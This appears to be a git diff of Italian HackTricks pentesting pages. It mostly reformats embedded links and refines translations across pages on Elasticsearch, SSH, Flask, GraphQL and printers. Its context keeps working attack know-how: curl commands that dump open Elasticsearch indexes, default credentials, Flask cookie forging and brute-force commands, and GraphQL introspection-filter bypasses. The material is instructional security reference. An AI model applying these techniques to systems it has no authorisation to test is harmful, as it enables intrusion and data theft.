{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

4
src/network-services-pentesting/5439-pentesting-redshift.md
View File

@ -8,6 +8,8 @@ Questa porta è utilizzata da **Redshift** per funzionare. È fondamentalmente u
Per ulteriori informazioni controlla:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

6
src/network-services-pentesting/9100-pjl.md
View File

@ -2,7 +2,7 @@
# Informazioni di Base
Da [qui](http://hacking-printers.net/wiki/index.php/Port_9100_printing): La stampa raw è ciò che definiamo come il processo di connessione alla porta 9100/tcp di una stampante di rete. È il metodo predefinito utilizzato da CUPS e dall'architettura di stampa di Windows per comunicare con le stampanti di rete poiché è considerato ‘_il protocollo di rete più semplice, veloce e generalmente più affidabile utilizzato per le stampanti_’. La stampa raw sulla porta 9100, nota anche come JetDirect, AppSocket o PDL-datastream, in realtà **non è un protocollo di stampa di per sé**. Invece, **tutti i dati inviati sono elaborati direttamente dal dispositivo di stampa**, proprio come una connessione parallela su TCP. A differenza di LPD, IPP e SMB, questo può inviare feedback diretto al client, inclusi messaggi di stato e di errore. Un **canale bidirezionale** ci offre **accesso** diretto ai **risultati** dei comandi **PJL**, **PostScript** o **PCL**. Pertanto, la stampa raw sulla porta 9100 – supportata da quasi tutte le stampanti di rete – è utilizzata come canale per l'analisi della sicurezza con PRET e PFT.
Da [qui](http://hacking-printers.net/wiki/index.php/Port_9100_printing): La stampa raw è ciò che definiamo come il processo di connessione alla porta 9100/tcp di una stampante di rete. È il metodo predefinito utilizzato da CUPS e dall'architettura di stampa di Windows per comunicare con le stampanti di rete poiché è considerato ‘_il protocollo di rete più semplice, veloce e generalmente più affidabile utilizzato per le stampanti_’. La stampa raw sulla porta 9100, nota anche come JetDirect, AppSocket o PDL-datastream, in realtà **non è un protocollo di stampa di per sé**. Invece, **tutti i dati inviati vengono elaborati direttamente dal dispositivo di stampa**, proprio come una connessione parallela su TCP. A differenza di LPD, IPP e SMB, questo può inviare feedback diretto al client, inclusi messaggi di stato e di errore. Un **canale bidirezionale** ci offre **accesso** diretto ai **risultati** dei comandi **PJL**, **PostScript** o **PCL**. Pertanto, la stampa raw sulla porta 9100 – supportata da quasi tutte le stampanti di rete – è utilizzata come canale per l'analisi della sicurezza con PRET e PFT.
Se vuoi saperne di più su [**hacking delle stampanti leggi questa pagina**](http://hacking-printers.net/wiki/index.php/Main_Page).
@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file
Questo è lo strumento che vuoi usare per abusare delle stampanti:
{% embed url="https://github.com/RUB-NDS/PRET" %}
{{#ref}}
https://github.com/RUB-NDS/PRET
{{#endref}}
# **Shodan**

15
src/network-services-pentesting/9200-pentesting-elasticsearch.md
View File

@ -8,7 +8,7 @@ Elasticsearch è un motore di ricerca e analisi **distribuito**, **open source**
### Cos'è un indice Elasticsearch?
Un **indice** Elasticsearch è una collezione di **documenti correlati** memorizzati come **JSON**. Ogni documento è composto da **chiavi** e dai loro corrispondenti **valori** (stringhe, numeri, booleani, date, array, geolocalizzazioni, ecc.).
Un **indice** Elasticsearch è una raccolta di **documenti correlati** memorizzati come **JSON**. Ogni documento è composto da **chiavi** e dai loro corrispondenti **valori** (stringhe, numeri, booleani, date, array, geolocalizzazioni, ecc.).
Elasticsearch utilizza una struttura dati efficiente chiamata **indice invertito** per facilitare ricerche full-text veloci. Questo indice elenca ogni parola unica nei documenti e identifica i documenti in cui appare ciascuna parola.
@ -39,12 +39,12 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
```
Ciò significa che l'autenticazione è configurata e **hai bisogno di credenziali valide** per ottenere informazioni da elasticsearch. Poi, puoi [**provare a fare bruteforce**](../generic-hacking/brute-force.md#elasticsearch) (utilizza l'autenticazione HTTP di base, quindi qualsiasi cosa che possa fare BF HTTP basic auth può essere utilizzata).\
Ciò significa che l'autenticazione è configurata e **hai bisogno di credenziali valide** per ottenere informazioni da elasticsearch. Poi, puoi [**provare a fare bruteforce**](../generic-hacking/brute-force.md#elasticsearch) (utilizza l'autenticazione HTTP basic, quindi qualsiasi cosa che possa fare BF HTTP basic auth può essere utilizzata).\
Ecco una **lista di nomi utente predefiniti**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Le versioni più vecchie di Elasticsearch hanno la password predefinita **changeme** per questo utente.
```
curl -X GET http://user:password@IP:9200/
```
### Enumerazione di Base degli Utenti
### Enumerazione di Utenti di Base
```bash
#List all roles on the system:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role"
@ -118,7 +118,7 @@ Ma, ora che sai che **questo indice contiene 1000 documenti**, puoi **dumpare tu
### Dump all
Per dumpare tutto puoi semplicemente andare al **stesso percorso di prima ma senza indicare alcun indice**`http://host:9200/_search?pretty=true` come `http://10.10.10.115:9200/_search?pretty=true`\
Per dumpare tutto puoi semplicemente andare al **stesso percorso di prima ma senza indicare alcun indice** `http://host:9200/_search?pretty=true` come `http://10.10.10.115:9200/_search?pretty=true`\
Ricorda che in questo caso verrà applicato il **limite predefinito di 10** risultati. Puoi usare il parametro `size` per dumpare una **maggiore quantità di risultati**. Leggi la sezione precedente per ulteriori informazioni.
### Search
@ -157,15 +157,16 @@ E nota le **proprietà create automaticamente**:
## Enumerazione Automatica
Alcuni strumenti otterranno alcuni dei dati presentati prima:
Al alcuni strumenti otterranno alcuni dei dati presentati prima:
```bash
msf > use auxiliary/scanner/elasticsearch/indices_enum
```
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
{{#ref}}
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
{{#endref}}
## Shodan
- `port:9200 elasticsearch`
{{#include ../banners/hacktricks-training.md}}

4
src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md
View File

@ -4,7 +4,9 @@
# **Password predefinite**
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
{{#ref}}
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
{{#endref}}
# File di configurazione
```text

6
src/network-services-pentesting/pentesting-kerberos-88/README.md
View File

@ -15,7 +15,7 @@ Dopo l'autenticazione da parte di **Kerberos**, il processo decisionale riguarda
PORT STATE SERVICE
88/tcp open kerberos-sec
```
### **Per imparare a sfruttare Kerberos dovresti leggere il post su** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
### **Per imparare ad abusare di Kerberos dovresti leggere il post su** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
## Maggiori informazioni
@ -27,7 +27,9 @@ PORT STATE SERVICE
Il difetto MS14-068 consente a un attaccante di manomettere il token di accesso Kerberos di un utente legittimo per rivendicare falsamente privilegi elevati, come essere un Domain Admin. Questa rivendicazione contraffatta viene erroneamente convalidata dal Domain Controller, consentendo l'accesso non autorizzato alle risorse di rete nell'intera foresta di Active Directory.
{% embed url="https://adsecurity.org/?p=541" %}
{{#ref}}
https://adsecurity.org/?p=541
{{#endref}}
Altri exploit: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)

30
src/network-services-pentesting/pentesting-ssh.md
View File

@ -2,8 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## Informazioni di base
**SSH (Secure Shell o Secure Socket Shell)** è un protocollo di rete che consente una connessione sicura a un computer su una rete non sicura. È essenziale per mantenere la riservatezza e l'integrità dei dati quando si accede a sistemi remoti.
@ -15,16 +13,16 @@
**Server SSH:**
- [openSSH](http://www.openssh.org) – OpenBSD SSH, fornito in BSD, distribuzioni Linux e Windows da Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementazione SSH per ambienti con risorse di memoria e processore limitate, fornita in OpenWrt
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementazione SSH per ambienti con risorse di memoria e processore limitate, fornito in OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementazione SSH per Windows, il client è comunemente usato ma l'uso del server è più raro
- [CopSSH](https://www.itefix.net/copssh) – implementazione di OpenSSH per Windows
**Librerie SSH (implementando lato server):**
**Librerie SSH (implementazione lato server):**
- [libssh](https://www.libssh.org) – libreria C multipiattaforma che implementa il protocollo SSHv2 con binding in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) e [R](https://github.com/ropensci/ssh); è usata da KDE per sftp e da GitHub per l'infrastruttura git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – libreria server SSHv2 scritta in ANSI C e mirata per ambienti embedded, RTOS e con risorse limitate
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – libreria java Apache SSHD basata su Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) – libreria protocollo SSHv2 per Python
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – la libreria java Apache SSHD è basata su Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) – libreria del protocollo SSHv2 in Python
## Enumerazione
@ -45,7 +43,7 @@ ssh-audit è uno strumento per l'audit della configurazione del server e del cli
- acquisisce banner, riconosce dispositivo o software e sistema operativo, rileva compressione;
- raccoglie algoritmi di scambio chiave, chiave host, crittografia e codice di autenticazione del messaggio;
- output delle informazioni sugli algoritmi (disponibile da, rimosso/disabilitato, non sicuro/debole/legacy, ecc);
- output delle raccomandazioni sugli algoritmi (aggiungi o rimuovi in base alla versione del software riconosciuto);
- output delle raccomandazioni sugli algoritmi (aggiungi o rimuovi in base alla versione del software riconosciuta);
- output delle informazioni sulla sicurezza (problemi correlati, elenco CVE assegnati, ecc);
- analizza la compatibilità della versione SSH basata sulle informazioni sugli algoritmi;
- informazioni storiche da OpenSSH, Dropbear SSH e libssh;
@ -115,15 +113,17 @@ O il modulo ausiliario MSF:
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
Oppure usa `ssh-keybrute.py` (python3 nativo, leggero e con algoritmi legacy abilitati): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
Or use `ssh-keybrute.py` (python3 nativo, leggero e con algoritmi legacy abilitati): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Le badkeys conosciute possono essere trovate qui:
#### Le chiavi cattive conosciute possono essere trovate qui:
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### Chiavi SSH deboli / PRNG prevedibile di Debian
Alcuni sistemi hanno difetti noti nel seme casuale utilizzato per generare materiale crittografico. Questo può comportare una riduzione drammatica dello spazio delle chiavi che può essere forzato. Set di chiavi pre-generate generate su sistemi Debian colpiti da PRNG deboli sono disponibili qui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Questo può comportare una riduzione drammatica dello spazio delle chiavi che può essere forzato. Set di chiavi pre-generate generate su sistemi Debian colpiti da PRNG deboli sono disponibili qui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Dovresti guardare qui per cercare chiavi valide per la macchina vittima.
@ -159,7 +159,7 @@ Se sei nella rete locale come la vittima che si connetterà al server SSH utiliz
- **Reindirizzamento del traffico:** L'attaccante **dirotta** il traffico della vittima verso la propria macchina, intercettando effettivamente il tentativo di connessione al server SSH.
- **Intercettazione e registrazione:** La macchina dell'attaccante funge da **proxy**, **catturando** i dettagli di accesso dell'utente fingendo di essere il legittimo server SSH.
- **Esecuzione e inoltro dei comandi:** Infine, il server dell'attaccante **registra le credenziali dell'utente**, **inoltra i comandi** al vero server SSH, **li esegue** e **invia i risultati** all'utente, facendo sembrare il processo fluido e legittimo.
- **Esecuzione dei comandi e inoltro:** Infine, il server dell'attaccante **registra le credenziali dell'utente**, **inoltra i comandi** al vero server SSH, **li esegue** e **invia i risultati** all'utente, facendo sembrare il processo fluido e legittimo.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) fa esattamente ciò che è descritto sopra.
@ -188,7 +188,7 @@ SSH-Snake esegue automaticamente e ricorsivamente le seguenti operazioni:
1. **Modifica il file di configurazione SSH** con: `sudoedit /etc/ssh/sshd_config`
2. **Cambia l'impostazione** da `#PermitRootLogin yes` a **`PermitRootLogin no`**.
3. **Ricarica la configurazione** usando: `sudo systemctl daemon-reload`
3. **Ricarica la configurazione** utilizzando: `sudo systemctl daemon-reload`
4. **Riavvia il server SSH** per applicare le modifiche: `sudo systemctl restart sshd`
### Forza bruta SFTP
@ -242,7 +242,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
```
### SFTP Symlink
Il **sftp** ha il comando "**symlink**". Pertanto, se hai **diritti di scrittura** in una cartella, puoi creare **symlinks** di **altre cartelle/file**. Poiché sei probabilmente **intrappolato** all'interno di un chroot, questo **non sarà particolarmente utile** per te, ma, se puoi **accedere** al **symlink** creato da un **servizio** **no-chroot** (ad esempio, se puoi accedere al symlink dal web), potresti **aprire i file symlinkati tramite il web**.
Il **sftp** ha il comando "**symlink**". Pertanto, se hai **diritti di scrittura** in una cartella, puoi creare **symlink** di **altre cartelle/file**. Poiché sei probabilmente **intrappolato** all'interno di un chroot, questo **non sarà particolarmente utile** per te, ma, se puoi **accedere** al **symlink** creato da un **servizio** **no-chroot** (ad esempio, se puoi accedere al symlink dal web), potresti **aprire i file symlinkati attraverso il web**.
Ad esempio, per creare un **symlink** da un nuovo file **"**_**froot**_**" a "**_**/**_**"**:
```bash
@ -265,7 +265,7 @@ ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
Controllare la configurazione del server SSH è necessario per verificare che siano autorizzati solo i metodi previsti. Utilizzare la modalità verbosa sul client può aiutare a vedere l'efficacia della configurazione.
Esaminare la configurazione del server SSH è necessario per verificare che siano autorizzati solo i metodi previsti. Utilizzare la modalità verbosa sul client può aiutare a vedere l'efficacia della configurazione.
### Config files
```bash

4
src/network-services-pentesting/pentesting-web/buckets/README.md
View File

@ -4,6 +4,8 @@
Controlla questa pagina se vuoi saperne di più su come enumerare e abusare dei Buckets:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

6
src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
View File

@ -4,10 +4,12 @@
## Cos'è Firebase
Firebase è un Backend-as-a-Services principalmente per applicazioni mobili. È focalizzato sulla rimozione dell'onere di programmare il back-end fornendo un bel SDK così come molte altre cose interessanti che facilitano l'interazione tra l'applicazione e il back-end.
Firebase è un Backend-as-a-Service principalmente per applicazioni mobili. È focalizzato sull'eliminazione del carico di programmazione del back-end fornendo un bel SDK così come molte altre cose interessanti che facilitano l'interazione tra l'applicazione e il back-end.
Scopri di più su Firebase in:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

6
src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
View File

@ -6,7 +6,7 @@
Esempio da [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
Il listener dell'evento "exit" è sempre impostato dal codice interno quando inizia il caricamento della pagina. Questo evento viene emesso poco prima della navigazione:
L'ascoltatore dell'evento "exit" è sempre impostato dal codice interno quando inizia il caricamento della pagina. Questo evento viene emesso poco prima della navigazione:
```javascript
process.on("exit", function () {
for (let p in cachedArchives) {
@ -15,7 +15,9 @@ cachedArchives[p].destroy()
}
})
```
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
{{#ref}}
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
{{#endref}}
![](<../../../images/image (1070).png>)

10
src/network-services-pentesting/pentesting-web/flask.md
View File

@ -24,7 +24,9 @@ Il cookie è anche firmato utilizzando una password
Strumento da riga di comando per recuperare, decodificare, forzare e creare cookie di sessione di un'applicazione Flask indovinando le chiavi segrete.
{% embed url="https://pypi.org/project/flask-unsign/" %}
{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash
pip3 install flask-unsign
```
@ -48,13 +50,15 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
Strumento da riga di comando per forzare siti web utilizzando cookie creati con flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi nel cookie di sessione Flask con SQLmap
[**Questo esempio**](../../pentesting-web/sql-injection/sqlmap/#eval) utilizza l'opzione `eval` di sqlmap per **firmare automaticamente i payload di sqlmap** per Flask utilizzando un segreto noto.
[**Questo esempio**](../../pentesting-web/sql-injection/sqlmap/#eval) utilizza l'opzione sqlmap `eval` per **firmare automaticamente i payload di sqlmap** per Flask utilizzando un segreto noto.
## Proxy Flask per SSRF

48
src/network-services-pentesting/pentesting-web/graphql.md
View File

@ -2,18 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Introduzione
GraphQL è **evidenziato** come un **alternativa efficiente** alle API REST, offrendo un approccio semplificato per interrogare i dati dal backend. A differenza di REST, che spesso richiede numerose richieste attraverso vari endpoint per raccogliere dati, GraphQL consente di recuperare tutte le informazioni necessarie tramite una **singola richiesta**. Questa semplificazione **beneficia notevolmente gli sviluppatori** riducendo la complessità dei loro processi di recupero dati.
GraphQL è **evidenziato** come un **alternativa efficiente** alle API REST, offrendo un approccio semplificato per interrogare i dati dal backend. A differenza di REST, che spesso richiede numerose richieste attraverso vari endpoint per raccogliere dati, GraphQL consente di recuperare tutte le informazioni necessarie tramite una **singola richiesta**. Questa semplificazione **beneficia significativamente gli sviluppatori** riducendo la complessità dei loro processi di recupero dati.
## GraphQL e Sicurezza
Con l'avvento di nuove tecnologie, inclusa GraphQL, emergono anche nuove vulnerabilità di sicurezza. Un punto chiave da notare è che **GraphQL non include meccanismi di autenticazione per impostazione predefinita**. È responsabilità degli sviluppatori implementare tali misure di sicurezza. Senza una corretta autenticazione, gli endpoint GraphQL possono esporre informazioni sensibili a utenti non autenticati, rappresentando un rischio significativo per la sicurezza.
Con l'avvento di nuove tecnologie, inclusa GraphQL, emergono anche nuove vulnerabilità di sicurezza. Un punto chiave da notare è che **GraphQL non include meccanismi di autenticazione per impostazione predefinita**. È responsabilità degli sviluppatori implementare tali misure di sicurezza. Senza una corretta autenticazione, gli endpoint GraphQL possono esporre informazioni sensibili a utenti non autenticati, ponendo un rischio significativo per la sicurezza.
### Attacchi di Brute Force alle Directory e GraphQL
Per identificare istanze GraphQL esposte, si raccomanda di includere percorsi specifici negli attacchi di brute force alle directory. Questi percorsi sono:
Per identificare istanze GraphQL esposte, si raccomanda l'inclusione di percorsi specifici negli attacchi di brute force alle directory. Questi percorsi sono:
- `/graphql`
- `/graphiql`
@ -30,7 +29,7 @@ Identificare istanze GraphQL aperte consente di esaminare le query supportate. Q
Lo strumento [**graphw00f**](https://github.com/dolevf/graphw00f) è in grado di rilevare quale motore GraphQL è utilizzato in un server e poi stampa alcune informazioni utili per l'auditor di sicurezza.
#### Query universali <a href="#universal-queries" id="universal-queries"></a>
#### Query Universali <a href="#universal-queries" id="universal-queries"></a>
Per verificare se un URL è un servizio GraphQL, può essere inviata una **query universale**, `query{__typename}`. Se la risposta include `{"data": {"__typename": "Query"}}`, conferma che l'URL ospita un endpoint GraphQL. Questo metodo si basa sul campo `__typename` di GraphQL, che rivela il tipo dell'oggetto interrogato.
```javascript
@ -181,7 +180,7 @@ Nota che il tipo della query "_flags_" è "_Flags_", e questo oggetto è definit
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
Puoi vedere che gli oggetti "_Flags_" sono composti da **name** e **value**. Quindi puoi ottenere tutti i nomi e i valori dei flag con la query:
Puoi vedere che gli oggetti "_Flags_" sono composti da **name** e **value**. Quindi puoi ottenere tutti i nomi e i valori delle bandiere con la query:
```javascript
query={flags{name, value}}
```
@ -220,7 +219,7 @@ E durante la **fase di enumerazione** ho scoperto che l'oggetto "_**dbuser**_" a
**Trucco di dump della stringa di query (grazie a @BinaryShadow\_)**
Se puoi cercare per un tipo di stringa, come: `query={theusers(description: ""){username,password}}` e **cerchi una stringa vuota** esso **dumpa tutti i dati**. (_Nota che questo esempio non è correlato all'esempio dei tutorial, per questo esempio supponi di poter cercare utilizzando "**theusers**" tramite un campo String chiamato "**description**"_).
Se puoi cercare per un tipo di stringa, come: `query={theusers(description: ""){username,password}}` e **cerchi una stringa vuota** esso **dumpa tutti i dati**. (_Nota che questo esempio non è correlato all'esempio dei tutorial, per questo esempio supponi di poter cercare utilizzando "**theusers**" per un campo String chiamato "**description**"_).
### Ricerca
@ -303,9 +302,7 @@ rating
}
}
```
**Nota come sia i valori che il tipo di dati sono indicati nella query.**
Inoltre, il database supporta un'operazione di **mutazione**, chiamata `addPerson`, che consente la creazione di **persone** insieme alle loro associazioni con **amici** e **film** esistenti. È fondamentale notare che gli amici e i film devono esistere nel database prima di collegarli alla persona appena creata.
**Nota come sia i valori che il tipo di dati sono indicati
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@ -335,7 +332,7 @@ releaseYear
```
### Direttiva Overloading
Come spiegato in [**una delle vulnerabilità descritte in questo rapporto**](https://www.landh.tech/blog/20240304-google-hack-50000/), un overload di direttiva implica la chiamata di una direttiva anche milioni di volte per far sprecare operazioni al server fino a quando non è possibile effettuare un DoS.
Come spiegato in [**una delle vulnerabilità descritte in questo rapporto**](https://www.landh.tech/blog/20240304-google-hack-50000/), un overload di direttiva implica chiamare una direttiva anche milioni di volte per far sprecare operazioni al server fino a quando non è possibile effettuare un DoS.
### Batching brute-force in 1 richiesta API
@ -352,15 +349,15 @@ Come possiamo vedere dallo screenshot della risposta, la prima e la terza richie
## GraphQL Senza Introspezione
Sempre più **endpoint graphql stanno disabilitando l'introspezione**. Tuttavia, gli errori che graphql genera quando viene ricevuta una richiesta inaspettata sono sufficienti per strumenti come [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) per ricreare la maggior parte dello schema.
Sempre più **endpoint graphql stanno disabilitando l'introspezione**. Tuttavia, gli errori che graphql genera quando riceve una richiesta inaspettata sono sufficienti per strumenti come [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) per ricreare la maggior parte dello schema.
Inoltre, l'estensione di Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **osserva le richieste API GraphQL che passano attraverso Burp** e **costruisce** uno schema GraphQL **interno** con ogni nuova query che vede. Può anche esporre lo schema per GraphiQL e Voyager. L'estensione restituisce una risposta falsa quando riceve una query di introspezione. Di conseguenza, GraphQuail mostra tutte le query, gli argomenti e i campi disponibili per l'uso all'interno dell'API. Per ulteriori informazioni [**controlla questo**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Inoltre, l'estensione di Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **osserva le richieste API GraphQL che passano attraverso Burp** e **costruisce** uno **schema** GraphQL interno con ogni nuova query che vede. Può anche esporre lo schema per GraphiQL e Voyager. L'estensione restituisce una risposta falsa quando riceve una query di introspezione. Di conseguenza, GraphQuail mostra tutte le query, gli argomenti e i campi disponibili per l'uso all'interno dell'API. Per ulteriori informazioni [**controlla questo**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Una bella **wordlist** per scoprire [**entità GraphQL può essere trovata qui**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Bypassare le difese di introspezione GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
Per bypassare le restrizioni sulle query di introspezione nelle API, inserire un **carattere speciale dopo la parola chiave `__schema`** si è dimostrato efficace. Questo metodo sfrutta le comuni disattenzioni degli sviluppatori nei modelli regex che mirano a bloccare l'introspezione concentrandosi sulla parola chiave `__schema`. Aggiungendo caratteri come **spazi, nuove righe e virgole**, che GraphQL ignora ma che potrebbero non essere considerati nel regex, le restrizioni possono essere eluse. Ad esempio, una query di introspezione con una nuova riga dopo `__schema` può bypassare tali difese:
Per bypassare le restrizioni sulle query di introspezione nelle API, inserire un **carattere speciale dopo la parola chiave `__schema`** si è dimostrato efficace. Questo metodo sfrutta le comuni disattenzioni degli sviluppatori nei modelli regex che mirano a bloccare l'introspezione concentrandosi sulla parola chiave `__schema`. Aggiungendo caratteri come **spazi, nuove righe e virgole**, che GraphQL ignora ma che potrebbero non essere considerati nel regex, le restrizioni possono essere eluse. Ad esempio, una query di introspezione con una nuova riga dopo `__schema` potrebbe bypassare tali difese:
```bash
# Example with newline to bypass
{
@ -406,7 +403,7 @@ file:* query
```
## CSRF in GraphQL
Se non sai cos'è il CSRF, leggi la seguente pagina:
Se non sai cos'è il CSRF, leggi la pagina seguente:
{{#ref}}
../../pentesting-web/csrf-cross-site-request-forgery.md
@ -426,7 +423,7 @@ Pertanto, poiché le richieste CSRF come quelle precedenti vengono inviate **sen
Tuttavia, nota che il nuovo valore predefinito del cookie del flag `samesite` di Chrome è `Lax`. Ciò significa che il cookie verrà inviato solo da un sito web di terze parti in richieste GET.
Nota che è solitamente possibile inviare la **richiesta** **query** anche come una **richiesta GET e il token CSRF potrebbe non essere convalidato in una richiesta GET.**
Nota che è solitamente possibile inviare la **richiesta** **query** anche come **richiesta GET e il token CSRF potrebbe non essere convalidato in una richiesta GET.**
Inoltre, abusando di un [**XS-Search**](../../pentesting-web/xs-search/) **attacco** potrebbe essere possibile esfiltrare contenuti dall'endpoint GraphQL abusando delle credenziali dell'utente.
@ -470,9 +467,9 @@ In GraphQL, gli alias sono una funzionalità potente che consente di **nominare
